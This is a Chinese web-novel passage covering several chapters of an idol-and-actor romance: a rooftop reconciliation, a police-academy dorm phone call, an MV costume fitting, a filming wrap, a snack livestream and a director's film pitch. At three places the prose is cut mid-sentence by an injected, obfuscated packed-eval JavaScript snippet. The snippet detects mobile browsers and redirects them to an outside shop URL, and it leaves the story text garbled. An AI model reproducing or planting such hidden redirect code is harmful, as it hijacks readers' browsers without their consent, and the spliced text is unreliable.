除了姜誉飞,她也就告诉过一个人。他们都叮嘱她,最好不要告诉别人这件事,免得被有心人拿去做文章,甚至被人当作不定时情绪炸弹。毕竟太多人只有窥私欲,没有同理心。 说了,也只不过引来一些幸灾乐祸或是同情可怜的目光罢了。 洛白掰开一次性筷子:“嗯。喝多了。” 他介意的是这个。 她的疏离。 乔时青安静了一会儿:“吃饭吧。” 剧组准备的晚饭是新源菜,没有多好吃,但还算可口。 洛白吃了两口,放下筷子。 乔时青睨她一眼:“没有胃口?” 一个大前辈板着脸坐在自己对面,这么有压迫感,什么人还会有胃口? 洛白几乎是叹着气说:“想到你还在生我的气,我吃不下。” 乔时青多看了她一眼,有点意外。 ——哦?她因为他生气就吃不下饭? “你……”乔时青不知道说什么,讲了个开头,只好说,“那我不生气了。你吃饭吧。” “哎?真的吗?”洛白直起身,“那我们就算是和解了,对吗?之前的事就算是过去了,是吧?你也不会和别人说这个事吧?” 乔时青有点好笑:“怎么刚才不见你这么健谈?” 洛白声音低了一些:“我只是想确认一下……” 或许是现在的气氛比较放松——天台上只有他们两个人,晚风轻拂,夜色柔和。 她一时之间没有控制住,就这样追问了起来。 听他这样问,也就察觉了自己的冒昧,有些儿懊悔。 乔时青当然看出她的想法,哎了一声,摆手道:“我答应你了。我刚才是在夸你进步。” “……我什么进步?” “开朗了一些。” “有吗?” “有——” 洛白看他故意拖音扬调的夸张神态,忍不住就笑了。 洛白发自内心地笑起来时,双眸比平时更柔和更含情,像是一池泛起涟漪的初春融水。眼角微微皱起,嘴角上扬的弧度却比在聚光灯下时更平,露出来的牙齿白皙而平整,散落在双颊两侧的秀发随着她的笑容动了动,平添几分生气。 此刻的她,明媚且柔和,有一种乔时青从没有见过的美丽。 洛白见他凝视不语的模样,以为自己又做了不妥的事,无端有些彷徨:“怎么,怎么了吗?” 乔时青轻笑着反问她:“你怎么总是像猫一样?” “啊?”洛白不明所以,微微侧了侧脑袋。 “我朋友有养一只猫,很怕生,有不熟悉的人来了,立马就要缩起来。”乔时青看着她又说,“熟了点的人,稍微吓一下,也会马上躲起来。” 洛白领会了他的意思,有些赧意:“我不太擅长和别人沟通。” 她说完话,没等到回答。乔时青不开口,只是那样看着她,目光里流动着难以言喻的色彩。 好一会儿他手指微动,说道:“头发被风吹乱了。” 洛白伸手将长发悉数拢到耳后:“谢谢。还有……那天的事,也谢谢。” 她不傻,关于夏轩突然改变态度的原因,她大概也能猜到个六七分。还有演唱会那晚,他陪她去这去哪儿的,换做别人,哪里会有这种耐心。 乔时青笑了笑:“没事。我也是有私心的。” 洛白愣了愣。 私……心……? - 次日晚。 新陵警察学院,男寝A505。 三个男生围在桌前,表情肃穆而庄重,只听一人对着手表伸出三个指头,中气十足地喊道:“三、二、一!开始!” 另外两人迅速举起面前的矿泉水瓶对准喉咙一通猛灌。 “吧唧”“吧唧”两声,空掉的矿泉水瓶被接连压在桌上缩成一团。 “恭喜姜选手以两秒的优势赢得这场大赛!”应景喜气洋洋地握住姜誉飞的手上下摇晃,“你的战利品是来自张合气的一根香肠。” 赛毕,三人不约而同拿走盖在泡面上的书,充满添加剂的香气顿时腾升而出在寝室内荡漾开来,他们立马低着头大快朵颐起来。 “哎,你知道你上铺来的是谁么?”应景对姜誉飞说。 姜誉飞原来的上铺入学没一个月,受不了训练的残酷程度退学了,床铺就一直空到了现在。 他这一瞟才发现了上铺的行李:“谁啊?” 张合气嘿笑:“嘿嘿,吴韬。” 姜誉飞:“???” “听说还是他老爸老妈主动要求换的,美名其曰和你是不打不相识,从今以后肝胆相照朋友一生一起走……” 应景很是应景地慨叹了一声,“看来以后的日子是越来越有意思了。” 姜誉飞又回想起和他爸妈吃饭那天的诡异场景,张合气趁着他愣神的工夫叉回了自己的香肠。 姜誉飞眼疾手快地用叉子和他打了个来回叉回自己的战利品,恶狠狠咬了口:“老子让他知道知道什么叫做有来无回!” “可别瞎几把乱来了。”张合气翻了个白眼,因抢肠未果没什么好气,“真不知道他爸妈抽了什么风居然就放过你了。你再闹一次,肯定没法好好毕业了。” “哼。”姜誉飞朝应景一摊手,“手机借我。” “你自己的呢?” “被缴了。” “……”应景只好把手机从口袋里掏出来,不放心地嘱咐他小心点用。 姜誉飞把吃完的泡面桶往前一推,流畅地按下了烂熟于心的号码。 那边的洛白过了好久才接,一接通他就劈头盖脸地问:“你怎么不接我电话啊?” “我哪知道这是你?”洛白顿了顿又问,“你的手机呢?怎么我发信息你没看见吗?” 姜誉飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129103|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸了下鼻子:“不说这些无关紧要的了。这是我室友的号码。你现在在哪?” 应景和张合气面面相觑,露出不怀好意地笑容,一左一右逼近了姜誉飞,夹着他纷纷把耳朵贴过去。 “哎,给谁打电话呢。蒋语啊?”张合气道。 姜誉飞说:“蒋你妈。这我姐。” “漂亮不?”应景低声问道。 “蒋语看过背影,说气质绝佳。”张合气道。 应景立刻朝着手机喊:“姐姐好!我是姜誉飞的室友,我叫应景。” 张合气见状也冲着手机大喊:“姐姐好,我也是姜誉飞的室友!我叫张合气,请姐姐记住我!” 对面的洛白吓了一跳,慢了几拍才说:“恩,你们好。” “姐姐你声音真好听!姜誉飞姐姐,我们什么时候出来见个面,吃个饭啊?” “是啊是啊,对你我们可真是不识庐山真面目啊哈哈哈。” “滚滚滚滚!”姜誉飞上脚就冲着他俩踹。 然而洛白却在这时说:“嗯等哪天有空了,我请你们吃饭。” “哎——!那择日不如撞日啊——” “走开!”姜誉飞扒开那两人,大迈一步跨进阳台,嘭得拉上门。 一阵凉意迎面袭过来。他抖擞了下又说:“你回新陵了?你现在在哪?” “我在公司练习室,和她们排练。” 洛白从今天下了戏就从新源赶回新陵排练主打歌的舞蹈,明天还会在新陵待一个白天,晚上再去新源的剧组。她又说:“明天行程也多,我就不和你见面了。过几天新源的戏杀青了,我再请你们吃饭。” 晚风呼啸着刮过姜誉飞的面庞,他冻得皱了一下眉:“嗯。你最近有按时吃药吧?” “吃的。”洛白应了一声又说,“你不要每次训练完就洗冷水澡。这几天气温越来越低了。很容易感冒的。” “我知道。”他嘀咕着回了句。 挂了电话,洛白转身走进练习室。 林晓已经瘫倒在了地板上,她扒拉着程佳念的裤脚:“好饿啊。几点了?” “十点半了。”队长说,“再练几遍我们就散了吧。” “你们说我今天要不要吃夜宵?你们吃夜宵吗?你们饿吗?”林晓哀戚的目光一一扫过她们。 “饿啊,忍着呗。”金灵正举着手机对镜自拍,调整角度好让自己的美甲和穿搭都能在更好的光线下呈现出来。 瞥见洛白进门的身影,金灵扭头就问:“洛洛,你和乔时青那部戏快杀青了吧?你知道他下一部打算拍什么吗?” 洛白摇头:“不知道。” “那你回剧组的时候帮我问问,我看看能不能凑上——啊,别说是我问的。” 程佳念好奇着说:“话说,和乔时青拍戏是什么感觉啊?” “恩?”洛白愣了一下,眼神些许飘忽,“没什么感觉。” “不是吧,那可是乔时青哎!就你那无聊透顶的Vlog,他光是声音出镜几秒就热搜了。和这种顶流合作,你就没什么想法?”一旁的林晓眼里透出促狭的笑意,推了下洛白的肩膀,“他人怎么样?听说他挺有个性的。” “他……人挺好的。”洛白硬着头皮。 林晓还想追问,顾若敏抢先一步说:“哎,我更好奇的是,你怎么拿到这个机会的?按理说他时隔一年的第一部戏不该拍这种成本的电影吧?难道是公司给你安排的?” 洛白半倚在墙上,还是摇头:“原来也没想到能和他搭戏。或许他对这个题材有些兴趣吧。” 话虽如此,她却莫名其妙想到他的眼神。 难道正应了那句话——桃花眼看狗都深情? 27. 杀青 翌日。MV拍摄现场。 “我们定的是全套CHL,量身订制,你们先试一下吧。” 造型师推过来一个衣架,上面挂着五件崭新的衣服,以黑与红为主色调,版型搭配虽各不相同,整体却呈现出一种高级的和谐。 “怎么也不问问我们的意见就定了?”金灵皱眉道。 造型师顿了一下:“都是生一哥亲自定的。” 听到这句话,金灵松了点气,才伸手挑起挂着自己名牌的套装来看。 一件法式收腰黑色连衣短裙,衣身着以花纹点缀,薄纱长袖半透,若隐若现的复古风情,一看便知极为适合她,慵懒而迷人。 “生一哥哥定的肯定不会有错啦。”林晓迫不及待地拿起衣服比在自己身上,对着镜子打量。纱质细闪的酒红色吊带上衣,高腰黑色微喇长裤,很称她的高挑身材。 给程佳念和顾若敏定的也是上下装。 五套服装,三件套装,自然有两件裙装。 给金灵的是黑色的短裙,定给洛白的不必看也知道是酒红色的。 洛白没有上手,只是站在原地颇有些郁闷地看着那件挂在衣架上的裙子。那是一件红色丝绒吊带裙,锁骨附近唯一的布料就是双肩的绑带了。 洛白哪里有穿过这种裙子。 就算是走红毯要穿抹胸礼服,那也是长裙。 上半身和下半身总有一个地方遮的严实,可这件…… 她再看一看旁边,没想到几个成员同样对自己的服装不太满意。 “为什么要加长袖,不能去了吗?”金灵不甘地挑起薄纱袖子,“我又不怕冷。” “你们都穿短的,怎么我就要穿长裤呀。”林晓啧声道。 “我还是唯一穿长筒靴的呢!这跟也太高了吧!”顾若敏脱掉长靴。 “小洛白的这件好看啊。”金灵冲她道。 洛白仍是有些闷:“这件也太——” “风尘?” “非要这么说的话……”洛白一顿,朝来声处看去。 林生一,ID公司话语权最高的造型总监,正抱着臂似笑非笑地看着她们,五个人下意识地站在了一起,规矩了不少。 “小洛白啊小洛白,长得不错,审美倒是差的可以。”林生一快步走过来,“优雅、妩媚、迷人兼具一身的妆造,怎么会俗?有的露就大大方方的露,难道你怕冻感冒不成?” 他没给洛白回话的余地,接着转向金灵:“你以为我为什么要给你加长袖?你看看你那手臂,不遮能行么?有本事一天之内减掉五斤,我亲自拿剪刀给你剪袖子。九十来斤的人也好意思上台。” “还有你们俩。”林生一继续说,“林晓,为什么就你穿长裤,你还不知道反思?腰细腿粗说的可不就是你?顾若敏你还好意思提跟高,我给你一双平底靴就你这个子敢穿吗?扬长避短,你们不懂?” “现在,”林生一俯视着她们,“你们还有什么浪费我时间的问题?” “没有。” 五个人不约而同地摇了摇头。 林生一冷哼一声:“那还不快去换上?” 这MV一拍就拍到了傍晚,五个人坐在摄影棚里吃晚饭。 金灵不忿地戳着沙拉:“这个林生一,每次都这么拽。” “算了,人家毕竟是顶级造型师,有资格拽。”程佳念说——不知道什么时候她俩又和好了。 “还说我肥,我还不是为了拍那个古装剧特地增肥的!”金灵灌了一口水,用力地拧上盖子,“就这样导演还嫌我瘦呢。难道我现在真的上不了镜么?” “不会啊,你还是腰细腿长大美女一个。”林晓转而说,“我才是烦呢,梨形身材又不是想改就改的,实在不行我去打针好了,你们有什么推荐的地方么?” 四吉走过来放下咖啡:“洛洛,过几天秦湘姐给你安排了个卖货直播,主要是些品牌零食。” 洛白愣道:“可是我不会卖货。” “这多简单啊。”金灵闻言道,“你坐那里只要听那主播讲就好了。他拿出产品来,你就闷头吃,然后说好吃。” “还有广告词也得说,合作方那边已经准备好了,就是些对口感、味道的描述,具体的内容我发你了,你有时间看一下。”四吉补充道。 “能不去吗?”洛白不太情愿,尽管她知道秦湘大概率已经和对方签了合约,不能不去,但还是抱着点希望问了句。 “这不行。”四吉果然说,“那边已经打了坑位费了——放心吧,那是头部主播水晶的直播间,绝对正规。” “她卖的零食确实好吃啊。”程佳念凑了一眼,“而且最近超多明星上她直播间的,小艺人还去不了呢。难怪秦湘姐给你接。” 顾若敏说:“到时候不也就是聊聊天,谈到零食你就说自己平时也常吃呗,又不一定真能卖出去多少。” 洛白看着手机里的PDF,淡淡说:“不光是热量,盐分和糖分都太高了。有一些还含有反式脂肪酸。我平时不吃这些。” “我们当然不能吃。”金灵掏出手机刷着微博,不以为意道,“但不妨碍我们推荐别人吃嘛。对了,你直播的时候可千万别吃太多,过几天要表演的,水肿了肯定会被嘲的。” - 三天后。 《第三夜》杀青当日。 为了赶在十一月前杀青,这几天拍摄速度快,行程紧,大家都绷着一股气。 今天更是从凌晨五点就开拍了,直到下午三点钟才有了一小时的休息时间。 洛白放下早已烂熟的剧本,活动了下有点发僵的身体。 她抬眼,远远看见乔时青坐在露天阳台那把长椅上,闭着眼,像是已经睡着了。 鬼使神差似的,她默默穿过人群走过去,在长椅的最左侧坐下来。 一开始目不斜视地看着前方,然后把目光悄悄移到了乔时青身上。 他正闭着眼,不会像平时那样带着笑意看她。她不用再闪躲,可以第一次这样仔细地大胆地凝视他的面庞。眉骨优越,唇色浅淡,五官周正且贵气。 她很少能这样直视他。 她最早被他的声音吸引。 清冽。沉静。像冰块加满的伏特加。 让她控制不住地想起另一个人,控制不住地在他身上寻找那个人的痕迹。 其实除了声音,好像没有其他相似之处了。 长相迥然,脾气也截然不同。 乔时青有与生俱来的优越感,从不压抑自己,也从不怀疑自我。他很少让人猜,总是直言不讳,面对任何事似乎都游刃有余。 而那个人。他有着和她一样的底色,患得患失,惯于逃避,用疏离包装自己的拧巴。 洛白安静地注视着乔时青。 他清晰的轮廓在她眼前变得模糊。她的思绪逐渐游离。 不过多久,乔时青醒了。 洛白在他的视线还没有完全清晰时移开目光。 乔时青很快发现了坐在身边的洛白,张口时声音还带着一丝沙哑:“怎么了?” “没什么事,只是过来坐坐。” “特地过来坐坐?”乔时青的脑子转了下,想起什么又去看她,“啊,因为今天是拍摄的最后一天,有点不舍得……剧组的氛围?” 洛白看着地面:“是。” 乔时青就笑:“很快又有电影宣传的行程了。” “那还有很久吧。” 他静静看着她:“我现在就迫不及待了。” 他总是喜欢在说话时一直看着她——洛白在拍摄期间就发现了这个点。她不知道这是不是乔时青的习惯,但他和别人说话的时候似乎不这样。 “为什么?”洛白忽然问。 “嗯?” “为什么迫不及待?” 洛白莫名其妙的追问超过乔时青的意料。 他愣住。 “哎哟?小两口做什么呢?” 来人声音未落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149795|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人不约而同移开视线。 洛白急忙站起来往外走,看见神色促狭的夏轩,怔在了原地。 “你怎么不等我——”埋头往里走的姚启一住脚,差点撞上夏轩。 夏轩见洛白那全身防备的姿态,不急不缓地抬手往下虚虚压了压,说:“别紧张,我这回不是来为难你的。” “你们来做什么?”乔时青看见这两个极其没有眼力见的人,倍感心烦。 “来看看你和弟妹处的怎么样啊。”姚启理所当然地说道。 夏轩还冲洛白扬了扬下巴以示自己的友好:“是吧,弟妹。” 洛白完全不知所然,既不知道他们为什么是这个态度,也不知道为什么他们看起来和乔时青关系不错的样子——之前不是还剑拔弩张么? 乔时青一收到洛白投来的怀疑又迷惑的目光,顿时大感不妙,直说:“你别听他们胡说八道。” “不是吧,还没成呢?”夏轩话音未落就收到了乔时青的眼刀,只好收住了嘴。 洛白顿了一顿说:“你们聊吧,我不打扰你们,先走了。” 说完就侧身绕过夏轩和姚启走了。 “洛白——”乔时青喊了她一声,没见她回头,这才转头看向夏轩姚启二人,一字一顿,“你们有事么?” 这才发现似乎坏了事的两个人咳了一声,尴尬地笑笑。 “我们这不是以为你们已经在一起了嘛。”姚启率先开口。 “是啊,距离上次见面都多久了,电影都杀青了哎!”夏轩尝试去搂乔时青的肩,被臭着脸的他甩开,仍然好言好语道,“结果你们还是这半生不熟的样子。这谁能料到呢!” “没事,我们还能助你一臂之力。”姚启拉着他重新在长椅上坐下,“这种事我们毕竟有经验。” “你们到底来做什么?我二十分钟后还有戏。”乔时青没什么好气。 “我怎么说也算是投资方之一啊,最后一天来监工也是合情合理吧?”夏轩也在他旁边坐下来,“主要也是想来关心关心你。” 乔时青黑着脸:“少来。” “那就说正事,就我们这段时间的调查下来啊,现在我们对小洛白的了解,不得不说,已经超过了你。”夏轩胸有成竹道。 乔时青冷笑了一声。 夏轩对他的反应不以为意,而是对他扬了扬一直拿在手中的东西:“你看,这是什么?” 乔时青不说话。 姚启代替回答:“手幅。” “不错。那你再看——”只见夏轩把手幅展开,这竟然是洛白的应援幅。 “人美歌甜!音色天才!洛白小甜豆!”姚启压低声喊道。 乔时青:“……” 夏轩倏地收起了手幅,凑近他说:“这段时间我们不仅看了弟妹自出道以来的大多数视频资料,包括采访啊表演啊各种舞台啊电台啊综艺啊影视剧啊……” 姚启接着说:“也打入了粉丝群体,譬如说什么,买专打榜投票,还有有关的超话,我们也一一参与。” 乔时青:“…………” “所以说,怎么着我们也算是小洛白的粉丝了,那么我们就有理由关注她的恋爱对象。” “也就是说,现在并不是你在求我们帮你追她,而是我们在以严苛的目光审视你有没有资格成为她的恋爱对象。” 乔时青倏地站起来:“再跟你们待下去,我一定也会变成蠢货。” “哎哎哎,你不想知道弟妹的行程吗?” “我早就知道了好吗。还有,你们不要这么叫她。”乔时青说。 “不不不,你还不够知道。”夏轩站起身来,“你知道她接下来是个什么通告吗参加的是个什么活动吗出席的是哪一场晚会吗走的是什么时候的红毯吗合作对象是谁有什么绯闻吗?” “……有什么绯闻?” 夏轩和姚启相视一笑,说:“看吧,你果然离不开我们。” “当、我、没、问。” 28. 直播 “今天邀请到水晶直播间的是温柔害羞超有气质唱演俱佳的小洛白——来,大家鼓掌、刷弹幕欢迎!” [欢迎——!] [鼓掌鼓掌鼓掌] [oh天,第一次get到洛白的美] [好美] “哇,我是第一次见本人哎,真的特!别!美!脸真的好小啊,发质也是真的很好!坐近一点好不好,大家都想看你嘛。来来来,给洛洛递个毯子,不要把妹妹冻到了。” [看得出来有点紧张hhhhh] [kkkkkk感觉随手截一张图都好看啊] [几点发券啊] “之前就有负责妆造的工作人员和我说,洛洛真的长了一张精修的脸,皮肤真的吹弹可破那种,不是靠化妆品就能堆出来的。而且这两年长大了,也是长开了嘛,就越来越漂亮了。像是各种比例啊、举手投足的仪态啊,都是非常出众的。” [好漂亮好漂亮] [她真的不是COSINE门面吗] [感觉比出道时漂亮了好多] [这不比金灵好看?] 直播时的屏幕不大,又和陌生人坐得很近,洛白自然拘束,但听得主播的姐姐一通天花乱坠地夸她,只能努力营业微笑:“没有没有,真的夸张了。” 水晶笑了几声,又说:“这次洛洛第一次上直播对不对?平时也会喜欢看这类的直播吗?” “呃,也会看的。”譬如说一个小时前? “有看过我的直播吗?” “恩,有的。” “哇,原来洛洛也会看我的直播间。其实像洛洛这样年纪比较小的,算是小姐姐吧,可以这么说吗,平时除了买化妆品、护肤品,应该也会喜欢囤点零食啊之类的,对吗?” 洛白见水晶这么卖力地和自己搭话,屏幕后面的四吉见她寡言少语一脸糟心,只好也努努力不让气氛太冷:“啊,对……我的助理就非常喜欢吃零食。呃,平时拍戏的间隙也会——” “也会吃些零食的对不对?不过我看妹妹这么瘦,是有在进行身材管理的吗?平时经纪人会限制你吃好吃的吗?” “恩,对,因为要表演啊拍戏什么的,所以经纪人就不会让我吃太多。” “哇那今天好不容易做客我们直播间,终于可以趁机吃些好吃的了对不对?来来来,我们把好吃的都拿上来,一起尝一尝好不好?” 洛白虽然摆着一副笑脸,但看着那一包包一份份摆上来五花八门的零食们,心里已经叫苦不迭,只能尽量控制着表情。 她从小家教极严,自记事起妈妈就告诫她吃饭最多只能吃七八分饱,太烫太热的伤喉咙不许吃,高盐高卡的零嘴更是一概不许碰。 但既然来做直播,总不能不吃。 哎。 洛白接过水晶递来的榛子巧克力棒,咬了一口。 恩?怎么还有点好吃……? - 乔时青要笑死了。 夏轩把洛白直播的链接发给他时,他还不甚在意,只是随手点了进去。 哪知道陷进屏幕就出不来了。 洛白掩饰自己的局促张皇,尽力维持营业式笑容的样子真是可爱极了。 带着点迟疑和试探地赞同旁人,软软地说好吃时也可爱极了。 走神放空时一边嚼着草莓干一边无意识点头更是可!爱!极!了! 他总算切身体会到了什么是粉丝经济,谁会不愿意为这么可爱的洛白花钱呢? 整整六十分钟,乔时青的嘴角就没放下来过,不知道的人还以为他在看什么爆笑喜剧片,否则怎么会笑声不止。 “哥?你,你是在看剧本吗?”叶减走进乔时青的专属休息室时就看见这位哥笑得春光灿烂意味不明。 “当然不是。”乔时青很坦然,“我还在追星。” “……”好,不必说,他也知道是谁。 叶减把刚买到的红茶拿铁摆在乔时青面前:“哥,你得抓紧把《暗查》的剧本看了,明天要和导演他们见面详谈,敲定的话还得去和投资方谈合同。V家想和你谈开年首封的拍摄安排,我定在后天早上了。下午和晚上得见些品牌商,他们想跟我们谈后续活动的礼服——” “怎么这么多事。”乔时青拿起一边的剧本从上次的地方往后翻,“推了些。我又不是都得到场。” “不能推了。哥。”叶减瞬间愁眉苦脸,苦兮兮地说,“你拍《怪奇假日》这段时间,把所有的通告全都推了。现在好不容易杀青了,再不给你安排行程,别说公司了,华姐第一个会杀了我的。” 这个不务正业的男人!真是可恶! 叶减腹诽着转身,打开门时却见一个大概三十多岁的男人,手上拿着两个酒杯,挎着个放相机似的箱包,眉毛极浓,双眼清明。 叶减:“您好,请问您是?” 男人先是朝着房间里看,又对叶减说:“噢,你好,乔老师在吗?我找他有些事。” 他的声音有点耳熟,但叶减想不起来在哪听过。不过上嘉的安保系统很好,他既然能进来,想必也是登记报备过的:“请问预约过了吗?” “没有,但是,呃,我之前和乔老师通过电话。”男人又补充道,“我叫刘昌。” ——刘昌! 叶减这才想起,这人前段时间就联系过沈碧华,想找乔时青出演他的下一部电影。不过华姐当场就拒绝了——且不说刘昌自己只是个拍过两三部低成本电影的新导演,而且他的新戏投资也不多,更重要的是,乔时青下一部电影得接刘道导演的《暗查》,哪里有档期。 现在看来这导演还不死心,不知从哪里要到了乔时青的联系方式,竟还找上门来了。 “原来是刘昌,刘导演,实在不好意思,乔老师没空,现在还在研读《暗查》的剧本。您知道的,快开拍了,档期实在很满。” 一听说刘道的名号,刘昌难免泄了口气。同姓不同命,刘道可是闻名遐迩的大导演,成就斐然,难以望其项背。 “是刘导来了?请他进来吧。” 听见乔时青的声音,叶减扭过头去小声说:“哥!此刘导非彼刘导!” 乔时青索性把剧本放在一旁,大步流星地走过来,拉开门,对刘昌说:“刘导,既然来了,就坐会儿吧。” “好好好。打扰乔老师了。”刘昌笑逐颜开,跟着乔时青往里走。 这是公司专门给乔时青配备的专属休息室,摆件家具一应俱全,比起领导的办公室舒服不少。 “刘导,别管我叫老师了,叫我时青就行。”乔时青的心情像是很好,他在刘昌对面坐下来,冲叶减去了一眼,“给刘导倒杯茶。” “不用了。”刘昌把手里那两个玻璃杯摆好,小心翼翼地打开随身的包端出一瓶干邑特级白兰地,笑道,“听说你喜欢喝白兰地,家里刚好有一瓶珍藏。” “这年份的不多。刘导破费了。”乔时青面有微笑,开门见山说,“我知道你来找我的目的,不过我的经纪人应该已经和你说过了,我没有档期。” 刘昌倒酒的手微一抖,放下酒瓶说:“我们可以等!等你拍完了《暗查》,《边缘游戏》再开机也是完全可以的。” “实际上你是等不到的。即便等我拍完《暗查》,也要到明年七八月,我才会接下一部电影。那时你的投资方应该早就撤了。”话说到这一份上,乔时青倒还好意思慢条斯理地小酌一口,“酒不错。” [你收到了一条微信消息] 乔时青低头。 [洛白:方便问下你下一部戏打算接什么吗?] 他条件反射般坐直了,瞥了眼刘昌,在输入框里打了几个字。 又删掉。 对面刘昌从包里掏出一份剧本:“你再看看剧本呢?我有信心,只要完成度好,这部电影一定大卖。你再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174232|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看呢,行吗?你肯定会喜欢的。” “只要完成度好。完成度好,不是一件简单的事。这个剧本要拍出来,没有三亿以上的投资是不可能的。”乔时青边说着,边低头编辑消息,“但据我所知,刘导完成过最大的项目不过只有六百万。还有题材——这种未来末日、朋克幻想的题材就算是能够驾驭大场面的导演也没几个敢碰的。你凭什么以为,你现在有能力去做这样的项目呢?” 他不仅没有类似喝人家嘴短的觉悟,还直言不讳目指出了刘昌的痛点。 同时为发了条消息出去而松了口气。 [乔时青:你怎么关心起这个了?] 刘昌当然知道自己这部戏的症结在哪,所以他才下了死心要找乔时青。 传闻都说乔时青虽脾气无常难搞了些,但全凭喜好行事,只要是喜欢的剧本,就算制作团队籍籍无名他也愿意拍。 在影圈有同等影响力的男演员里,只有乔时青有可能会愿意出演冷门导演刘昌的新戏,也只有他最符合刘昌对剧本人物的勾勒。 只要敲定男主是乔时青,一定会有不少投资方愿意加大投资。 刘昌的脸色红一阵白一阵,声音重了些:“投资的事,我会再想办法的。” “你的办法,除了卖房卖车,也只有我了吧。”乔时青抬头淡淡地看着他,“哪怕我愿意出演,也不会有人愿意给你三亿以上的投资。刘导,说实话,你现在配不上这个项目。” “乔时青!你不拍就不拍,嘲讽我算什么!”刘昌倏地站起来,脸红脖子粗道。 乔时青不为所动,不急不徐地往杯里倒上白兰地,放在他的身前:“这么大的人,怎么说两句还急了。” 站在旁边的叶减嘴角抽动,抹了把脸。 刘昌怒气不减:“既然你不想拍,为什么还要见我?” “听楼下工作人员说,你已经来了好几次,次次让你吃闭门羹不好。我今天心情挺好的,还是直接让你死心吧。” “你!你拍不拍就给句话吧,不拍的话就不用再浪费时间了。” [洛白:只是有些好奇……] “明显我的时间比你宝贵,我都不在意,你还小气什么?别急了,刘导,坐下来我们慢慢聊。” 侮辱性太强了吧。 叶减再次汗颜,好担心乔时青被人打死。 刘昌深呼吸了两口气,还是坐了下来,脸色却很僵硬:“《边缘游戏》是我呕心沥血写了一年半才完成的剧本,不管你怎么不看好,我都一定会把它拍出来的。” [乔时青:刘昌导演来找我,想让我去拍边缘游戏] [乔时青:就是你之前跟我提过的那个东方朋克剧本] 乔时青发完消息,又抬头看对面脸色铁青的刘昌:“刘导,请问你是得绝症了吗?命不久矣的那种?” “什、什么?你——” “如果没有,为什么这么着急要把它拍出来?” 乔时青说完,刘昌如鲠在喉,一时竟不知道怎么回复他。 “我已经等了太久了。剧本成型是这两年的事,但构思却是自打我入行以来就开始的。”刘昌嗫嚅着说,“这个本子已经成了我的执念,你是不会懂这种感觉的。” “如果你的执念够强,哪怕再过十年,不也照样能拍么。”乔时青扯了下嘴角,不打算和他共情,“以你现在的能力,即便勉强把它拍出来了,八成也是个烂片。别暴殄天物了吧。” 刘昌的呼吸窒了一瞬。 叶减看他猛地拿起酒杯生怕刘昌要泼乔时青,刚要一个健步上前阻拦,却看见刘昌仰着头一饮而尽。 [洛白:这一部或许会有投资的问题吧] 沉默了好一会儿,刘昌才看向乔时青:“我承认,你说的对。” 乔时青微笑。 [乔时青:对啊我当场就叫他别拍了] [乔时青:他还跟我生气] 29. 过去 刘昌默默地看着桌上的剧本,动作沉缓地把它拿了回来,心情已经落到了谷底:“那么,不耽误你时间了。” [洛白:…] 等刘昌失魂落魄地把包背上,却听见身后传来慢悠悠的一句话。 “不过,我对刘导的另一个剧本倒还挺有兴趣的。叫什么——爻起——” “《爻起腾蛇》?!”刘昌神色一振,转过来时已是目光灼灼,“你、你在哪儿见过这剧本?” [乔时青:下一部拍他的爻起腾蛇] “你去年不是到处投这剧本找投资么。那时我有幸读到过,留了个印象。” 是了,是了。 虽说也有投资方愿意给他投资,但给得实在太少,对于一个新人导演而言,是不可能筹到千万投资的,所以刘昌最后只能搁浅了这部戏。 但对于现在的他来说,要是乔时青愿意出演,几千万的投资肯定不成问题—— “我、我马上把剧本取来,你要是感兴趣——”刘昌紧紧地盯着乔时青,“你要是喜欢这个剧本,能给我们一个机会吗?” 乔时青执杯,轻碰了下刘昌的杯壁:“无功不受禄。” 刘昌知道他是答应了,不由喜形于色,大大松了口气:“谢谢你了,谢谢你。” 乔时青笑了一下:“话说这个‘爻’,指的应该是六爻吧?刘导对易学有研究?” “称不上研究,”刘昌不好意思地摸了下脑袋,“只是以前读书时很喜欢,净埋头读了,所以后来就以这为灵感,写了个故事。” 乔时青接着又问到易经的事,听刘昌滔滔不绝地说起来,一旁的叶减简直云里雾里,不一会儿就溜出门去了。 - 晚九点。 ID,艺人部。 “简言之,简言之在哪呢?”工作人员探身进SINE的专属练习室,偌大的屋子里就剩下一个人。 “在走廊拐角的游戏机那块。”合格说。 简言之霸占游戏机长达半个小时后,盛情邀请路过到一边贩卖机买水的洛白来上一局,被后者斩钉截铁地拒绝后流连忘返地起了身。 “我要这个。”他伸手指向7号道的可乐。 洛白稍稍皱了下眉:“碳酸饮料对牙齿不好。” “快给我买。”简言之坚持说。 